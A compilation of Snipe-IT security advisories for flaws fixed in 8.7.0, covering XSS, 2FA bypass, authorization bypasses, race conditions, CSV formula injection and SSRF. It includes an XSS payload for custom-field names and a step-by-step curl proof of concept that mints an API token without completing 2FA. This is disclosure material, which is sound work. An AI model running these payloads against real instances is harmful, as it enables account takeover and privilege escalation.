Snipe-IT is an IT asset/license management system. Prior to 8.7.0, the uploaded-files API endpoint GET /api/v1/{objecttype}/{id}/files/{fileid} allows an authenticated user with file-management access to upload XML and XSLT attachments and request them with the inline=true parameter. The app/Http/Controllers/Api/UploadedFilesController.php show() path does not apply the safe-inline allowlist used by the equivalent web controller, so the browser can process an attacker-controlled xml-stylesheet reference and execute JavaScript generated by the stylesheet in the Snipe-IT origin. A victim who is authorized to view the object must open the attachment URL, after which the script can read same-origin data and perform authenticated actions with the victim's privileges. This issue is fixed in version 8.7.0.

Impact A user with the "customfields.create" permission can store HTML/JS in a Custom Field name, which is later rendered as an asset-list column title WITHOUT escaping at app/Presenters/AssetPresenter.php line 364 ('title' => $field->name) and injected into the table header by the bundled bootstrap-table plugin. It executes for anyone who opens an asset list (e.g. /hardware), including superusers, on page load with no interaction. Since "customfields.create" can be granted to non-superusers, a lower-privileged user gets script execution in a superuser's session -> privilege escalation.

STEPS TO REPRODUCE 1. As a user with "customfields.create", create a Custom Field named: <img src=x onerror=alert(1)> 2. Add the field to a fieldset that is associated with an asset model. 3. Open /hardware -> the payload executes on load.

DEMONSTRATED IMPACT An account holding ONLY "customfields.create" (HTTP 403 on /users) planted a payload that, when a superuser opened /hardware, issued an authenticated request in that session and granted the attacker's own account the "superuser" permission (afterwards: GET /users = 200, isSuperUser() = true).

ROOT CAUSE - Blade {{ }} encodes the data-columns attribute, but the browser decodes it back before bootstrap-table reads the title; bootstrap-table then renders the header title unescaped because its table-level "escape" option defaults to false and is never enabled. (The per-column 'escape' => true covers cell values, not the header title.) Patches Patched in https://github.com/grokability/snipe-it/commit/58754e4e3b86b58a0c4523012ef04a2ae990d2c8

Impact

An attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user (read and write across the user's permissions, including admin if the victim is an admin).

The token is an API credential, not a web/UI session (using it on web routes redirects to /login), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin users/twofactorreset endpoint, which is in the same un-gated API surface, to clear the account's enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account's web access and locking the legitimate user out.

Summary:

2FA is enforced only by the web middleware group, not the api group, and the personal-access-token endpoint is in the api group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access.

Details:

CheckForTwoFactor is in the web group but not the api group:

// app/Http/Kernel.php 'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ], 'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ], // no CheckForTwoFactor

Two consequences:

1. /two-factor is exempt from the check, and CreateFreshApiToken runs right after it in the web group:

// app/Http/Middleware/CheckForTwoFactor.php public const IGNOREROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout'];

So a password-authenticated session that lands on /two-factor (before entering a code) is let through and gets issued the Passport snipeitpassporttoken cookie.

2. The token endpoint is in the api group, which never checks 2FA, gated only by self.api:

// routes/api.php -> Api\ProfileController::createApiToken (line 98) if (! Gate::allows('self.api')) { ... } // the only gate; no 2FA check

Login authenticates on the password alone (LoginController::login calls Auth::login). 2FA is enforced only by web middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via /two-factor, and can call the token endpoint over the api group. The token is long-lived (40-year expiry by default) and grants full API access as the user.

Proof of concept:

Setup: an account with 2FA enabled and the self.api permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.

HOST=https://snipeit.example.com/ USER=victim PASS='victim-password'

# 1. log in with the password only. Every web page now redirects to # /two-factor until a code is entered. never enter one. csrf=$(curl -s -c cookies.txt "$HOST/login" \ | grep -oP 'name="token" value="\K[^"]+') curl -s -b cookies.txt -c cookies.txt "$HOST/login" \ --data-urlencode "token=$csrf" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" -o /dev/null

# 2. GET /two-factor with no code. It is exempt from the 2FA check, so # CreateFreshApiToken issues the snipeitpassporttoken cookie. curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null grep -q snipeitpassporttoken cookies.txt && echo "[2] Passport cookie issued, no code"

# 3. mint a persistent token over the api group (no 2FA check). Passport's # cookie guard wants the session's own XSRF token echoed as a header, # which our session already holds. xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1) xsrf=$(printf '%b' "${xsrf//%/\\x}") pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \ -X POST -H "Accept: application/json" -H "X-XSRF-TOKEN: $xsrf" \ --data-urlencode "name=poc" | jq -r '.payload.token') echo "[3] token: $pat"

# 4. use the Bearer token against a real endpoint. /users/me returns the # victim's own account, proving the token acts as the victim with 2FA # never completed. (If the victim is an admin, the same token reaches the # whole API, e.g. GET /api/v1/users returns the full user directory.) curl -s "$HOST/api/v1/users/me" \ -H "Authorization: Bearer $pat" -H "Accept: application/json"

Step 3 returns a token with no code ever submitted, and step 4 returns the victim's own account ({"id":1,"username":"victim","email":...}). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the api group simply never enforces it.

Patches

Fixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, EnforceApiTwoFactorEnrollment, registered on the api middleware group after auth:api. The new middleware answers the question "does this token's owner have a second factor enrolled at all?", which is orthogonal to the session-scoped 2faauthed flag that CheckForTwoFactor relies on. Behavior:

- Passes through when there's no authenticated user (leaves the standard auth:api 401 in place). - Passes through when twofactorenabled is disabled in settings. - Under optional mode (twofactorenabled = '1'), only enforces on users who explicitly set twofactoroptin = '1', matching the web-side behavior and preserving legacy PATs for users who never opted in. - Under required mode (twofactorenabled = '2'), enforces regardless of optin. - Blocks with 403 + Helper::formatStandardApiResponse('error', null, trans('auth/message.twofactor.pleaseenroll')) when the token owner's twofactorenrolled != '1'.

Regression coverage lives in tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php.

Credit

Reported first by colinthebomb1 and Theebanbabu, followup confirmation report by SRT at submersion SRT@submersion.ai.

Snipe-IT versions before 8.7.0 contain an improper ownership management vulnerability in the consumables checkout API endpoint that records the checkout target user's id in the createdby column instead of the authenticated caller's id. Authenticated attackers with consumables.checkout permission can perform checkouts that result in misattributed audit trail entries in the consumablesusers pivot table, obscuring which operator performed the action.

Snipe-IT through 8.6.4 (fixed in 8.7.0) does not enforce the components.view permission on the authenticated endpoint GET /api/v1/hardware/<asset-id>/assigned/components. The endpoint authorizes only assets.view on the parent asset before returning linked component details; the components.view check is applied only to the response's availableactions.view flag and not to the returned data. As a result, an authenticated user holding only assets.view can enumerate component IDs, names, assigned quantities, and notes that are otherwise protected — the direct GET /api/v1/components/<id> endpoint correctly returns 403 Forbidden for such users.

Snipe-IT before 8.7.0 fails to properly gate Laravel Passport's OAuth client management routes, allowing any authenticated user to register OAuth clients with attacker-controlled redirect URIs. Attackers can trick administrators into approving consent screens, then exchange authorization codes for bearer tokens inheriting full admin API permissions lasting up to 40 years.

snipe-it before 8.7.0 contains an incorrect calculation vulnerability in checkout request handling that allows authenticated users to corrupt the assets.requestscounter through duplicate submissions and cancellations without active requests. Attackers can repeatedly call cancel endpoints without active requests to drive the counter negative, or submit duplicate checkout requests to inflate the counter, misrepresenting pending demand in the admin queue.

Snipe-IT versions <= 8.6.3 (fixed in 8.7.0) do not check the return value of storage write operations in ImageUploadRequest::handleImages(). Because Laravel's default disk mode does not throw on failure, a silently failed Storage::disk('public')->put(...) call still caused the application to delete the previous image via deleteExistingImage() and to reassign and persist the model's image reference to the new filename, destroying the existing image and leaving the database row pointing at a file that was never written. A mirror problem existed in deleteExistingImage(), where a failed Storage::delete() still nulled the model's image field, orphaning the file on disk. The condition is not directly attacker-controlled: it is triggered when any legitimate authenticated user submits an image upload while the storage backend transiently fails (for example an S3 network error, a local filesystem permission problem, or quota exhaustion). The result is unrecoverable loss of the prior image and a durable inconsistency between the database and disk that requires manual reconciliation. All models whose controllers route through ImageUploadRequest::handleImages (assets, asset models, users, companies, manufacturers, locations, categories, suppliers, departments, and other image-carrying models) are affected.

Snipe-IT 8.6.3 and earlier (and develop pre-release commits prior to the fix) contain a race condition in the asset checkout paths. Api\AssetsController::checkout() and Assets\AssetCheckoutController::store() call Asset::availableForCheckout() outside the mutation path and then invoke Asset::checkOut() without taking a row lock or re-checking availability, so two concurrent checkout requests for the same available asset can both observe it as available and both commit. This produces duplicate checkout-history rows, a doubled checkoutcounter, and two CheckoutableCheckedOut events for a single-assignment asset, corrupting the audit trail and utilization/reconciliation reporting; the asset's final assignedto remains singular, so the visible assignment stays intact. Exploitation requires an authenticated session holding the assets.checkout permission (or superuser) and precise concurrent timing. Fixed in 8.7.0.

Snipe-IT 8.6.3 and earlier do not check the return value of Storage::put() when writing the signature PNG and the generated acceptance PDF in Account\AcceptanceController::store(). On filesystem drivers that return false instead of throwing on a write failure (for example the local disk with restrictive permissions, S3 with expired credentials, or a storage backend that is out of quota), execution continues into $acceptance->accept(), which sets acceptedat and the signaturefilename/eulafilename fields, creates the 'accepted' action-log entry, and dispatches completion notifications even though the evidence files were never stored. The result is an acceptance record marked complete whose supporting evidence files do not exist, yielding a materially incomplete compliance artifact for EULA acknowledgement or equipment-receipt workflows. The condition is triggered when an authenticated user completes an acceptance while the storage backend is silently failing writes; an attacker cannot directly force the storage backend into that state. Fixed in Snipe-IT 8.7.0.

Snipe-IT versions before 8.7.0 contain a stored cross-site scripting vulnerability in DepartmentPresenter::formattedNameLink() where department names are rendered unescaped in the fallback branch for users without departments.view permission. Users with departments.edit permission can inject malicious scripts into department names that execute in the browsers of all department members when they load their My Assets page.

Snipe-IT versions before 8.7.0 fail to HTML-escape the employeenum field in the acceptance PDF generator, allowing attackers with users.edit permission to inject img tags into TCPDF's writeHTML() function. Attackers can craft a malicious employeenum value containing an img tag with an arbitrary HTTP(S) URL to trigger server-side requests to internal services, cloud metadata endpoints, or external targets when a victim signs an asset acceptance.

Snipe-IT before 8.7.0 fails to validate username case sensitivity during SAML authentication, allowing attackers to authenticate as different users by registering IdP accounts with accent or case variants of victim usernames. Attackers can exploit the default utf8mb4unicodeci database collation to bypass username matching and achieve account takeover through federated login paths including SAML, LDAP, and OAuth.

Snipe-IT before 8.7.0 fails to validate soft-deleted state in API checkout endpoints, allowing authenticated users with checkout permissions to bind live inventory to trashed targets. Attackers can submit POST requests to hardware, component, or consumable checkout endpoints with soft-deleted user, asset, or location IDs to create orphaned references that corrupt the asset ledger and audit trails.

Snipe-IT versions up to and including 8.6.3 contain a race condition (TOCTOU) in the consumable checkout API endpoint (POST /api/v1/consumables/{consumableid}/checkout). The requested quantity is validated against the number of remaining units before the database transaction begins, and the transaction then creates the checkout records without locking the consumable row or re-checking availability. An authenticated user with permission to check out consumables can submit concurrent checkout requests for the same consumable so that both requests pass the availability check and succeed, over-allocating stock and driving the remaining inventory negative (e.g., a consumable with 1 remaining unit ends at -1 after two concurrent 1-unit checkouts). The issue is fixed in 8.7.0, which re-fetches the parent row under lockForUpdate inside the transaction and re-validates availability.

Snipe-IT versions before 8.7.0 fail to enforce checkout authorization when assignment fields are submitted to the asset update endpoint. Authenticated users with edit permission but explicitly denied checkout permission can reassign assets, bypass check-in procedures, and alter custody records by submitting assigneduser, assignedasset, or assignedlocation parameters to PATCH /api/v1/hardware/{id}.

Snipe-IT versions >= 7.0.12 and <= 8.6.3 contain an authorization bypass in the Livewire importer component (App\Livewire\Importer, mounted at the imports.index route). The component only checked the broad 'import' ability at mount time, while its files() and activeFile() computed properties queried the imports table with no owner or company scope. As a result, any authenticated non-superuser holding the import permission could view every Import record on the instance (original filename, filepath, filesize, importtype and creation timestamp) and could invoke the selectFile($id) Livewire action with any auto-incrementing Import ID to load another user's record, exposing its stored preview data (headerrow column headers and firstrow, the first data row of the CSV). Because import CSVs commonly contain personal data, asset serial numbers and license keys, this discloses sensitive information; in Full Multiple Companies Support (FMCS) deployments the disclosure also crosses company/tenant boundaries. Impact is limited to preview data rather than the full CSV file, and superusers were unaffected. Fixed in version 8.7.0, which scopes non-superuser reads to imports owned by the caller.

Snipe-IT versions 8.2.0 through 8.6.x (fixed in 8.7.0) contain an incorrect authorization flaw in app/Http/Controllers/Users/UsersController::update(). The single-user edit route assigned the activated field from the request payload before evaluating the canEditAuthFields authorization gate, so an authenticated non-admin user holding the users.edit permission in the target's company scope can submit a full valid PUT request to /users/{id} and toggle the activated flag on any user, including admin and superuser accounts. Deactivating an admin locks that account out of the application until another admin or superuser re-enables it. Only the activated field is affected; username, email, password and permissions remain protected by the gate, no data is disclosed, and the API (Api\UsersController::update) and bulk-edit paths are not affected.

Snipe-IT before 8.7.0 fails to properly enforce the viewKeys authorization gate in CSV export and API index endpoints, allowing authenticated users with only licenses.view permission to access product keys. Attackers can download all license keys in bulk via CSV export or validate candidate keys through API response discrepancies without needing the viewKeys permission.

Snipe-IT before 8.7.0 fails to properly gate access to encrypted custom-field values in asset form templates for listbox, textarea, markdown-textarea, and date/datetime picker elements. Authenticated users with assets.edit, assets.checkin, assets.checkout, or assets.audit permissions can read plaintext encrypted custom field values by opening asset forms, bypassing the assets.view.encryptedcustomfields permission check.

Snipe-IT 8.5.0 through 8.6.3 contains an open redirect vulnerability in its SAML assertion-consumer endpoint (SamlController::acs, POST /saml/acs). The endpoint wrote the RelayState POST parameter directly into Laravel's url.intended session key with only CR/LF characters stripped, and LoginController later issued redirect()->intended(), which passes an absolute URL through to the Location header unchanged. An unauthenticated attacker who induces a user of a SAML-SSO-enabled instance to visit a crafted IdP-initiated SSO link can therefore cause the victim's browser to be redirected to an arbitrary absolute external URL immediately after a successful authentication, which the advisory notes facilitates credential-harvesting phishing. No account on the target instance and no compromise of the identity provider are required. Only deployments with SAML SSO enabled are affected. Fixed in 8.7.0 (commit d30b73d, PR #19386), which validates RelayState via a new Helper::sameOriginUrl check before storing it.

Snipe-IT versions 4.2.0 through 8.6.3 expose Laravel Passport's auto-registered personal-access-token routes (GET, POST, DELETE /oauth/personal-access-tokens) with only 'web' and 'auth:web' middleware, without the self.api permission gate that Snipe-IT enforces on its own token endpoints (/account/api and /api/v1/account/personal-access-tokens). Any user with a valid web session and the corresponding CSRF token can POST to /oauth/personal-access-tokens and mint a long-lived bearer token for their own account, even when an administrator has denied the self.api permission. The issued token is still subject to existing per-endpoint authorization policies, so this is not a privilege escalation; it defeats the administrative control intended to block API/scripted access at the user's own permission level. Fixed in 8.7.0 (commit 3f74b8c), which registers overriding routes wrapped in the can:self.api middleware.

Snipe-IT through version 8.6.3 fails to perform object-level authorization in the updateLicense, updateConsumable, updateAccessory, and updateModel endpoints and in the storeModel endpoint for Predefined Kits. The existing check authorizes only the parent Predefined Kit (update on PredefinedKit) and not the child object being attached. As a result, an authenticated user holding only the kits.edit permission can attach a License, Consumable, Accessory, or Asset Model that they are otherwise denied (HTTP 403) from reading directly to a Predefined Kit, and the kit relation index then discloses the attached object's name back to that low-privilege user. This is the update-path and storeModel counterpart to CVE-2026-55478, which fixed only the storeLicense, storeConsumable, and storeAccessory methods in 8.6.2. Note that updateModel was code-vulnerable in 8.6.3 but not reachable in practice because a route-name typo bound the route to a nonexistent controller method, causing HTTP 500 responses. The issue is fixed in Snipe-IT 8.7.0.

Snipe-IT through 8.6.3 does not neutralize formula elements in the "unaccepted assets" acceptance report CSV export. ReportsController::postAssetAcceptanceReport builds the CSV by hand (stripping commas and joining rows manually) and, unlike the six sibling exports in the same controller, never applies League\Csv\EscapeFormula or honors the config('app.escapeformulas') setting. An authenticated low-privilege user with ordinary create/edit rights on any record whose free-text fields appear in the report (asset name/tag, company name, category, model, or assignee display name) can set such a field to a value beginning with =, +, -, @, tab, or CR. When a user with reports.view privileges requests the export (POST /reports/unacceptedassets) for a pending checkout acceptance referencing the poisoned record and opens the resulting CSV in Excel, LibreOffice Calc, or Google Sheets, the injected content is evaluated as a formula in the downloader's spreadsheet context, enabling data exfiltration (e.g., HYPERLINK/WEBSERVICE) or, on legacy Windows Excel configurations, DDE command execution. Fixed in 8.7.0.

Snipe-IT versions before 8.7.0 fail to properly scope asset acceptance report queries by company, allowing authenticated reports.view users to read pending acceptances across all companies. Attackers can access the unacceptedassets report page or CSV export to disclose cross-company inventory details and assignee names without per-row access validation.

Snipe-IT is an IT asset management application. In Snipe-IT master-branch builds after 8.6.3 (the code was never included in a tagged release), SettingsController::downloadLocationScopingReport streams the FMCS location-scoping mismatch report (GET /admin/settings/location-scoping-report.csv) through a bare fputcsv() call without applying League\Csv\EscapeFormula, unlike the other CSV exports which honor config('app.escapeformulas'). An authenticated user with ordinary create/edit rights can place a spreadsheet formula in free-text fields that appear in the report (item name, asset tag, serial, item or location company name, location name) and arrange for the record to be FMCS-mismatched so it is included in the export. When a superuser downloads the report and opens it in Excel, LibreOffice Calc, or Google Sheets with formula evaluation enabled and external-content warnings dismissed or disabled, cells beginning with =, +, -, @, tab, or CR are executed in the victim's spreadsheet context, enabling data exfiltration (e.g., HYPERLINK/WEBSERVICE) or, on Windows Excel, legacy DDE command execution. This issue is fixed in version 8.7.0.

Snipe-IT before 8.7.0 contains an authorization bypass vulnerability in Livewire components that enforce authorization only at the route level, not within component lifecycle methods. Attackers with a valid authenticated session can replay signed component snapshots via POST /livewire/update to invoke protected methods and escalate privileges, including creating OAuth clients, minting personal access tokens, and accessing sensitive admin data.

Snipe-IT is an open source IT asset management system. In versions up to and including 8.6.3, the report acceptance endpoints POST /reports/unacceptedassets/sentreminder (ReportsController::sentAssetAcceptanceReminder) and DELETE /reports/unacceptedassets/{acceptanceId}/delete (ReportsController::deleteAssetAcceptance) are not correctly scoped when Full Multiple Company Support (FMCS) is enabled. In 8.6.3 the guard ReportsController::currentUserCanAccessAcceptance() early-exits with 'return true' when '! $user->companyid' is truthy, which is the case for every pivot-only user (a user associated with companies through the companyuser pivot table whose scalar users.companyid column is NULL); versions prior to 8.6.3 lacked the guard altogether. As a result, an authenticated user holding the reports.view permission can send acceptance-reminder emails for, and permanently delete, any pending acceptance record in the install regardless of which company owns the underlying checkoutable. Deletion is destructive and forfeits the acceptance audit trail for the affected item, and the reminder email exposes limited cross-company acceptance context (item name and assignment metadata) to the recipient. Acceptance IDs are sequential integers and can be enumerated. This issue is fixed in version 8.7.0.

Snipe-IT versions <= 8.6.3 (fixed in 8.7.0) do not validate company assignment authorization before persisting user records via the REST API. In Api\UsersController::store() and ::update(), the user record is filled from the request and saved before the requested companyid / companyids[] values are filtered against the actor's permitted companies (Company::getIdsForCurrentUser()). On installs using Full Multiple Companies Support (FMCS), a non-superuser holding users.create (or users.edit on a target user) can submit company identifiers for companies outside their scope — including a mix of permitted and foreign ids — causing the account row to be committed to the database before authorization is checked. Where nullcompanyisfloater=1 is set, the post-hoc filter leaves an empty company pivot and the account is persisted as a "floater" with cross-company visibility, allowing creation or relocation of user accounts across tenant boundaries.

Snipe-IT before 8.7.0 fails to properly sanitize markdown image syntax in note fields, allowing authenticated users to read arbitrary server files and issue server-side HTTP requests. Attackers can submit markdown image syntax in checkout acceptance notes that survive HTML escaping, are expanded by CommonMark parser, and resolved by laravel-mail-auto-embed via filegetcontents or curl, exfiltrating sensitive files like .env containing APPKEY.